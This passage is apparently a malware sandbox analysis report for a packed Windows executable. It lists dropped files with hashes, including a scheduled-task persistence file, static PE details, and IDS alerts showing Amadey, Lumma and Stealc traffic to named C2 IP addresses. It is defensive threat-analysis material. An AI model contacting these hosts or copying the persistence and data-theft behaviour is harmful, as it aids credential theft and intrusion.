SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\content-prefs.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 5, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 8, cookie 0x6, schema 4, largest root page 8, UTF-8, vacuum mode 1, version-valid-for 4
Category:	modified
Size (bytes):	262144
Entropy (8bit):	0.04905141882491872
Encrypted:	false
SSDEEP:	24:DLSvwae+Q8Uu50xj0aWe9LxYkKA25Q5tvAA:DKwae+QtMImelekKDa5
MD5:	8736A542C5564A922C47B19D9CC5E0F2
SHA1:	CE9D58967DA9B5356D6C1D8A482F9CE74DA9097A
SHA-256:	97CE5D8AFBB0AA610219C4FAC3927E32C91BFFD9FD971AF68C718E7B27E40077
SHA-512:	99777325893DC7A95FD49B2DA18D32D65F97CC7A8E482D78EDC32F63245457FA5A52750800C074D552D20B6A215604161FDC88763D93C76A8703470C3064196B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......\|....~.}.}z}-\|.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.035577876577226504
Encrypted:	false
SSDEEP:	3:GtlstFCjHIdZrFol1lstFCjHIdZrd//lT89//alEl:GtWtAjHc+l1WtAjHc389XuM
MD5:	7CA26029F6AFBDD84D7852213F8FC138
SHA1:	58381535232A62D2A219ABA1604E35D10E4B9B62
SHA-256:	22D9E7E44854E23B03D47928CA9AA630951E898739705842B2DA97A1244BFCAD
SHA-512:	E4011FB4222C0B26D5437DE7BFA6E9852941EED7F3036BEC2EAF3BC041E66D43D11B7EB1CE41DBA919DD6974D2C579AF5EF26E156915EBA9BF36C5B034DD215A
Malicious:	false
Preview:	..-......................4...T...x..K...@....zB..-......................4...T...x..K...@....zB........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	32824
Entropy (8bit):	0.03964242559091917
Encrypted:	false
SSDEEP:	3:Ol1uNdmTgD/y3GU4kxT57l8rEXsxdwhml8XW3R2:KEdmM7y14il8dMhm93w
MD5:	23183E468BA6F4F71DDF3FA5CB03099F
SHA1:	F67C453F093FA76A56E4751DE818DC11961664A9
SHA-256:	AFB416B3B4450B90C8C003AFE326AA23B0767A35C84F1F3115D07D3106794BD0
SHA-512:	DB1D887C6A43CF972164DB06632511852B9585B21EEFED6288B4B037C19CA022A3C7B24AF65B9967102A29B253449492484DCE2464F00983ADDD724A677DB11D
Malicious:	false
Preview:	7....-...........x..K...}.{.. ...........x..K....4..T.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	10018
Entropy (8bit):	5.513325055126674
Encrypted:	false
SSDEEP:	192:jnPOeRnHYbBp6bJ0aX+H6SEXK5kHWNBw8dFSl:TPe+JUapHEwu0
MD5:	505367B86832E5D70447BFC195E283BA
SHA1:	B558056B8D76971E9CF263CF1BC58F60FE17A3C8
SHA-256:	58FE6199EBE2014FB18581B7EA3F6B609E82505222B270840FC8CBF09B9A8969
SHA-512:	A803F1A06CE80642BAAC8AA7E41BAEFA2DF662AF68A5C7D0810333AAAF25FC95E30586B60056F500E60BB8AA2EA0701D9CD7E8976540FF98DCF9E3D11B01B1F4
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	10018
Entropy (8bit):	5.513325055126674
Encrypted:	false
SSDEEP:	192:jnPOeRnHYbBp6bJ0aX+H6SEXK5kHWNBw8dFSl:TPe+JUapHEwu0
MD5:	505367B86832E5D70447BFC195E283BA
SHA1:	B558056B8D76971E9CF263CF1BC58F60FE17A3C8
SHA-256:	58FE6199EBE2014FB18581B7EA3F6B609E82505222B270840FC8CBF09B9A8969
SHA-512:	A803F1A06CE80642BAAC8AA7E41BAEFA2DF662AF68A5C7D0810333AAAF25FC95E30586B60056F500E60BB8AA2EA0701D9CD7E8976540FF98DCF9E3D11B01B1F4
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 6, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.0836444556178684
Encrypted:	false
SSDEEP:	24:JBwdh/cEUcR9PzNFPFHx/GJRBdkOrDcRB1trwDeAq2gRMyxr3:jnEUo9LXtR+JdkOnohYsl
MD5:	8B40B1534FF0F4B533AF767EB5639A05
SHA1:	63EDB539EA39AD09D701A36B535C4C087AE08CC9
SHA-256:	AF275A19A5C2C682139266065D90C237282274D11C5619A121B7BDBDB252861B
SHA-512:	54AF707698CED33C206B1B193DA414D630901762E88E37E99885A50D4D5F8DDC28367C9B401DFE251CF0552B4FA446EE28F78A97C9096AFB0F2898BFBB673B53
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.410427222006378
Encrypted:	false
SSDEEP:	6:ZOWlbX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lB3llo1ut0:ZFlruQ1CGAFifXVB3wut0
MD5:	5DB624AE7CF27E5E9DB82FBBBF4323DF
SHA1:	8E1269E5BAA75B9CD65E9F3D0A06FB0F5CB7CF9A
SHA-256:	2A95FA5FBA182DCE2DBDD0BBCD47481E94B2300BD83F7D97EF1EF4E4CEF00A13
SHA-512:	072DF80CFA36D33F7D5A42FB5D23903D5561E54BC4DF563C99EF40233EAE4D63F2208BF297DAF3C4E1B195803F8C05C245D95E855EBBEC3EA70FB581A185E055
Malicious:	false
Preview:	.....+..4ad@.;..W=\F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.952716672748055
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'916'928 bytes
MD5:	22ee1495ad3fd1a2a7f4e210e6932916
SHA1:	a3879ccd26a8b8cbfaa6492f1b75ddd9472b3783
SHA256:	5161e963b4f92b7c6feef9a626f6f4afc0454eb363a6c39ac741e9e1ade5fa77
SHA512:	d6493a668032c3b31c517545fbef0c3418ad220aaf0b4621d02e0a9a96101efcbf966ea034d258af09c38d2a0c00c2921e7e293480a4a42e7ee1753a7a4eb663
SSDEEP:	49152:E0HJzySs2Zyi7++BmfPkMjDqh5Nqd7oGjMRPNFtqoX:vH4SJyiq+0jGhSGPNFtZX
TLSH:	9E9533B9455A8501C8E9F4B8D819FF10FAAC030EBEA006779D63D6B22F5C76217614EF
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8c0000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FA6B0F9F7EAh
hint_nop dword ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
inc ecx
push bx
dec esi
dec ebp
das
xor al, 36h
dec edi
bound ecx, dword ptr [ecx+4Ah]
dec edx
insd
push edi
dec eax
dec eax
jbe 00007FA6B0F9F852h
push esi
dec edx
popad
je 00007FA6B0F9F84Bh
push edx
dec esi
jc 00007FA6B0F9F85Ah
cmp byte ptr [ebx], dh
push edx
jns 00007FA6B0F9F827h
or eax, 49674B0Ah
cmp byte ptr [edi+43h], dl
jnc 00007FA6B0F9F82Dh
bound eax, dword ptr [ecx+30h]
pop edx
inc edi
push esp
push 43473163h
aaa
push edi
dec esi
xor ebp, dword ptr [ebx+59h]
push edi
push edx
pop eax
je 00007FA6B0F9F837h
xor dl, byte ptr [ebx+2Bh]
popad
jne 00007FA6B0F9F82Ch
dec eax
dec ebp
jo 00007FA6B0F9F823h
xor dword ptr [edi], esi
inc esp
dec edx
dec ebp
jns 00007FA6B0F9F830h
insd
jnc 00007FA6B0F9F850h
aaa
inc esp
inc ecx
inc ebx
xor dl, byte ptr [ecx+4Bh]
inc edx
inc esp
bound esi, dword ptr [ebx]
or eax, 63656B0Ah
jno 00007FA6B0F9F838h
push edx
insb
js 00007FA6B0F9F851h
outsb
inc ecx
jno 00007FA6B0F9F832h
push ebp
inc esi
pop edx
xor eax, dword ptr [ebx+36h]
push eax
aaa
imul edx, dword ptr [ebx+58h], 4Eh
aaa
inc ebx
jbe 00007FA6B0F9F82Ch
dec ebx
js 00007FA6B0F9F823h
jne 00007FA6B0F9F811h
push esp
inc bp
outsb
inc edx
popad
dec ebx
insd
dec ebp
inc edi
xor dword ptr [ecx+36h], esp
push 0000004Bh
sub eax, dword ptr [ebp+33h]
jp 00007FA6B0F9F83Ch
dec edx
xor bh, byte ptr [edx+56h]
bound eax, dword ptr [edi+66h]
jbe 00007FA6B0F9F81Ah
dec eax
or eax, 506C720Ah
aaa
xor dword ptr fs:[ebp+62h], ecx
arpl word ptr [esi], si
inc esp
jo 00007FA6B0F9F853h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x448	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4bdf20	0x10	crtbbopa
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4bded0	0x18	crtbbopa
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	a1491d7ff3906949d439b29b5c340b26	False	0.9982224965940054	data	7.9814204179424335	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x448	0x400	458033cbe7d1f090eac47a1cb2b7a0f7	False	0.4892578125	data	4.218763943632889	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2b1000	0x200	3bea8782649a21117794f0acba8b3761	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
crtbbopa	0x31c000	0x1a3000	0x1a2400	989673a52ce302c7b4810eea1a21fa75	False	0.9946064330543933	data	7.953988529670779	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
lzmvaube	0x4bf000	0x1000	0x400	5f5c7fb621dc56c53b73685ef27824c1	False	0.736328125	data	5.849022260354266	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4c0000	0x3000	0x2200	9300dbfc2ba5c25458dd654147b815f5	False	0.3570772058823529	DOS executable (COM)	3.895454216488844	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4bdf30	0x256	ASCII text, with CRLF line terminators			0.5100334448160535
RT_MANIFEST	0x4be186	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-18T19:04:05.273070+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	49955	185.215.113.43	80	TCP
2024-11-18T19:04:08.631587+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49977	31.41.244.11	80	TCP
2024-11-18T19:04:17.956895+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	49970	TCP
2024-11-18T19:04:18.893337+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49978	185.215.113.43	80	TCP
2024-11-18T19:04:19.832970+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49980	185.215.113.16	80	TCP
2024-11-18T19:04:28.067510+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49982	188.114.96.3	443	TCP
2024-11-18T19:04:28.160610+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49981	185.215.113.43	80	TCP
2024-11-18T19:04:28.593540+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49982	188.114.96.3	443	TCP
2024-11-18T19:04:28.593540+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49982	188.114.96.3	443	TCP
2024-11-18T19:04:29.085118+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49983	185.215.113.16	80	TCP
2024-11-18T19:04:29.715330+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49984	188.114.96.3	443	TCP
2024-11-18T19:04:30.455324+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49984	188.114.96.3	443	TCP
2024-11-18T19:04:30.455324+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49984	188.114.96.3	443	TCP
2024-11-18T19:04:31.502104+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49985	188.114.96.3	443	TCP
2024-11-18T19:04:33.193478+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49986	188.114.96.3	443	TCP
2024-11-18T19:04:35.287054+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49987	188.114.96.3	443	TCP
2024-11-18T19:04:37.353962+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49988	185.215.113.43	80	TCP
2024-11-18T19:04:38.029155+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49990	188.114.96.3	443	TCP
2024-11-18T19:04:38.276920+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49991	185.215.113.16	80	TCP
2024-11-18T19:04:38.323295+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49989	185.215.113.206	80	TCP
2024-11-18T19:04:38.483845+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49990	188.114.96.3	443	TCP
2024-11-18T19:04:38.606610+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49989	185.215.113.206	80	TCP
2024-11-18T19:04:38.613949+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49989	TCP
2024-11-18T19:04:38.898182+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49989	185.215.113.206	80	TCP
2024-11-18T19:04:38.908151+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49989	TCP
2024-11-18T19:04:39.684337+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49992	188.114.96.3	443	TCP
2024-11-18T19:04:39.696832+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	49992	188.114.96.3	443	TCP
2024-11-18T19:04:40.098271+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49989	185.215.113.206	80	TCP
2024-11-18T19:04:40.625852+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49989	185.215.113.206	80	TCP
2024-11-18T19:04:44.562312+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49993	188.114.96.3	443	TCP
2024-11-18T19:04:45.363843+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49993	188.114.96.3	443	TCP
2024-11-18T19:04:45.363843+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49993	188.114.96.3	443	TCP
2024-11-18T19:04:45.445767+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49994	185.215.113.43	80	TCP
2024-11-18T19:04:46.180972+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49996	188.114.96.3	443	TCP
2024-11-18T19:04:46.397142+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49995	185.215.113.16	80	TCP
2024-11-18T19:04:46.538572+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49996	188.114.96.3	443	TCP
2024-11-18T19:04:46.879953+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49997	188.114.96.3	443	TCP
2024-11-18T19:04:47.274969+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49997	188.114.96.3	443	TCP
2024-11-18T19:04:47.274969+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49997	188.114.96.3	443	TCP
2024-11-18T19:04:47.712879+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	50005	185.215.113.16	80	TCP
2024-11-18T19:04:48.883741+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50008	188.114.96.3	443	TCP
2024-11-18T19:04:51.182436+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50015	188.114.96.3	443	TCP
2024-11-18T19:04:55.252607+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50022	188.114.96.3	443	TCP
2024-11-18T19:04:57.368582+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50025	185.215.113.43	80	TCP
2024-11-18T19:05:01.881521+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50042	188.114.96.3	443	TCP
2024-11-18T19:05:04.304363+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50044	188.114.96.3	443	TCP
2024-11-18T19:05:04.308753+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	50044	188.114.96.3	443	TCP
2024-11-18T19:05:07.500995+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50047	188.114.96.3	443	TCP
2024-11-18T19:05:08.106053+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50047	188.114.96.3	443	TCP
2024-11-18T19:05:09.073484+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	50054	185.215.113.16	80	TCP
2024-11-18T19:05:16.891984+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50079	188.114.96.3	443	TCP
2024-11-18T19:05:17.406995+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	50079	188.114.96.3	443	TCP
2024-11-18T19:05:17.406995+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50079	188.114.96.3	443	TCP
2024-11-18T19:05:21.199930+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50097	188.114.96.3	443	TCP
2024-11-18T19:05:21.974832+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	50097	188.114.96.3	443	TCP
